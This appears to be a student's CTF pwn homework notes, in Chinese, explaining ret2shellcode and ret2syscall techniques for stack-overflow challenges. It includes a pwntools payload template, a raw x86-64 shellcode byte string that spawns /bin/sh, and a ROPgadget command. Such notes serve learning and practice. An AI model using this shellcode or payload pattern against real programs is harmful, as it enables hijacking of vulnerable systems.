pwn3&4
pwn第二次作业
ret2shellcode#
适用范围#
没有后门函数 有rwx段(目前的初级题目)
方式#
过程#
将shellcode写入变量中 然后栈溢出劫持retaddr 然后执行
注意:当可用空间不足时shellcode可以写在返回地址后面,只要在书写payload时将地址篡改为返回地址后即可。
执行格式
shellcode=asm(shellcraft.sh())
len=buf长度+8
x = shellcode.ljust(len,'a')
p.recv()
p.sendline(x + p32(buf2_addr))
shellcraft#
-
其为pwntools下的一个工具 功能为生成shell
-
方法有两种
-
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
-
from pwn import *
shellcode=asm(shellcraft.sh())-
此默认为32位程序
-
若想输出64位则输入shellcode=asm(shellcraft.amd64.sh)
并且在此之前加入contest.arch="amd64"
-
asm为将汇编语言转化为机器码
-
shellcraft.sh()为生成一个shellcode
-
-
-
在输出payload的时候因为难以数清楚payload具体字节数 因此我们选择利用ljust函数
e.g:payload=asm(shellcraft.sh()).ljust(112,b'A')
ljust(n,‘A’)功能:输入i个字符‘A’(i为总长度n减去已输入的长度的长度) 其中n为总长度,A为主要填充数据
ret2syscall#
适用范围#
没有后门函数 没有system函数 但是有/bin/sh或者cat flag
多用于静态链接的题目中。
方式#
过程#
我们可以先ropgadget,看程序中是否有mov eax等片段,如果有,我们就可以利用这些gadget来组合成一个shell来获取控制权
执行格式:#
ROPgadget使用#
使用格式#
ROPgadget --binary 文件名 --only "pop|ret"
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 使用C#创建一个MCP客户端
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· ollama系列1:轻松3步本地部署deepseek,普通电脑可用
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· 按钮权限的设计及实现